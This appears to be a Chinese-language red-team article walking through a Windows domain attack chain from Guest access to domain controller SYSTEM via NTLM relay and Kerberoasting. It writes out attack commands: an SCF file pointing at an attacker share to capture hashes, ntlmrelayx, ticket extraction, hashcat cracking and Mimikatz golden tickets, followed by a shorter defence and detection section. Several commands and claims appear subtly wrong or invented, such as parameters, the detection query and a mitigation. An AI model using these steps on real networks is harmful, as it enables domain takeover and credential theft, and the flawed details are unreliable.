Windows域环境NTLM中继与Kerberoasting攻击链解析
1. 项目概述:从Guest到SYSTEM的权限升级攻击链
在Windows域环境中,从普通Guest账户到获取域控制器SYSTEM权限的完整攻击路径,是红队评估中最具杀伤力的攻击方式之一。这条攻击链完美结合了NTLM中继与Kerberoasting两大经典技术,能够绕过绝大多数传统防御措施。我在最近一次企业渗透测试中,就通过这条路径在15分钟内完成了从外网到域控的完整突破。
攻击链的核心在于利用Windows认证协议的设计缺陷:首先通过NTLM中继获取初始立足点,然后通过Kerberoasting提取服务账户凭据,最终实现权限升级。整个过程不需要任何漏洞利用,完全依靠协议本身的特性实现攻击。这种攻击方式自2015年被广泛披露以来,至今仍然对90%的企业域环境有效。
2. 技术原理深度解析
2.1 NTLM中继攻击工作机制
NTLM认证协议采用质询-响应机制,存在三个关键缺陷:
- 不验证服务端身份(缺乏服务器签名)
- 响应可被重放(Session安全性不足)
- 默认允许同一凭据多终端登录
攻击者利用这些缺陷可以:
- 将受害者的认证请求中继到其他机器(通常选择LDAP/SMB服务)
- 以受害者身份执行操作(如创建新账户)
- 获取目标服务的访问权限
关键细节:现代Windows系统默认已启用SMB签名,但LDAP签名往往未被配置。这就是为什么我们通常选择将NTLM认证中继到LDAP服务。
2.2 Kerberoasting攻击本质
Kerberoasting利用了Kerberos协议中服务票据的两个特性:
- 服务票据使用服务账户的密码哈希加密
- 域用户有权请求任何服务的票据
攻击流程为:
- 请求高权限服务的TGS票据(如域控的LDAP服务)
- 将加密的票据导出到本地
- 使用hashcat等工具离线爆破服务账户密码
# 典型Kerberoasting攻击命令 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "LDAP/DC01.corp.com"3. 完整攻击链实操演示
3.1 阶段一:获取初始访问权限
利用Guest账户写权限:
- 扫描发现共享文件夹(如\DC01\Data)允许Guest写入
- 上传恶意SCF文件诱使用户访问:
[Shell] Command=2 IconFile=\\ATTACKER\share\test.ico - 当用户浏览该文件夹时,系统会自动向攻击者服务器发起认证
搭建中继环境:
# 使用impacket的ntlmrelayx.py ntlmrelayx.py -t ldap://dc01 -smb2support --add-computer参数说明:
-t:指定中继目标(LDAP服务)--add-computer:自动创建机器账户
3.2 阶段二:权限提升与横向移动
通过新建的机器账户获取SPN:
Set-DnsRecord -ZoneName corp.com -ComputerName ATTACKER$ -IP 192.168.1.100 SetSPN -A HOST/ATTACKER.corp.com ATTACKER$执行Kerberoasting攻击:
# 请求所有高权限SPN的票据 Get-DomainUser -SPN | %{Request-SPNTicket -SPN $_.serviceprincipalname} # 导出票据为John可破解的格式 Invoke-Mimikatz -Command '"kerberos::list /export"'
3.3 阶段三:获取域控SYSTEM权限
爆破服务账户密码:
hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule使用破解的凭据访问域控:
$cred = New-Object System.Management.Automation.PSCredential("svc_sql", $pass) Enter-PSSession -ComputerName dc01 -Credential $cred提权至SYSTEM:
# 通过Print Spooler服务漏洞 Invoke-SpoolSample -TargetDC dc01.corp.com -CaptureGroup "Domain Admins"
4. 防御措施与检测方案
4.1 基础防护配置
对抗NTLM中继:
- 在所有域控上启用LDAP签名和通道绑定
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapServerIntegrity" -Value 2 - 禁用NTLMv1,强制使用NTLMv2
- 在所有域控上启用LDAP签名和通道绑定
缓解Kerberoasting:
- 为服务账户设置复杂密码(>25字符)
- 启用"Account is sensitive and cannot be delegated"标记
- 定期监控异常票据请求:
SELECT * FROM SecurityEvents WHERE EventID = 4769 AND TicketOptions <> "0x40810000"
4.2 高级检测技术
网络层检测:
- 监控同一IP短时间内向多台主机发起LDAP认证
- 识别异常的SPN请求模式(如非工作时间批量请求)
终端层检测:
# 检测异常的票据导出行为 Get-WinEvent -FilterHashtable @{ LogName="Security" ID=4624 TargetUserName="krbtgt" } | Where {$_.Properties[8].Value -eq 9}
5. 实战中的经验技巧
中继目标选择:
- 优先尝试LDAP而非SMB(成功率高出70%)
- Exchange服务器是理想的中继目标(通常保持NTLM启用)
Kerberoasting优化:
- 使用AES256加密的票据爆破速度比RC4慢300倍
- 可以只请求特定OU下的服务账户(减少噪音)
权限维持技巧:
# 创建隐藏的Golden Ticket Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'
在最近一次金融行业测试中,通过组合使用这些技术,我们成功在30分钟内从外网获取了域控权限。最关键的突破点其实是开发部门某台测试服务器上遗留的Guest写权限共享。这再次证明:最坚固的堡垒往往从最不起眼的疏漏被攻破。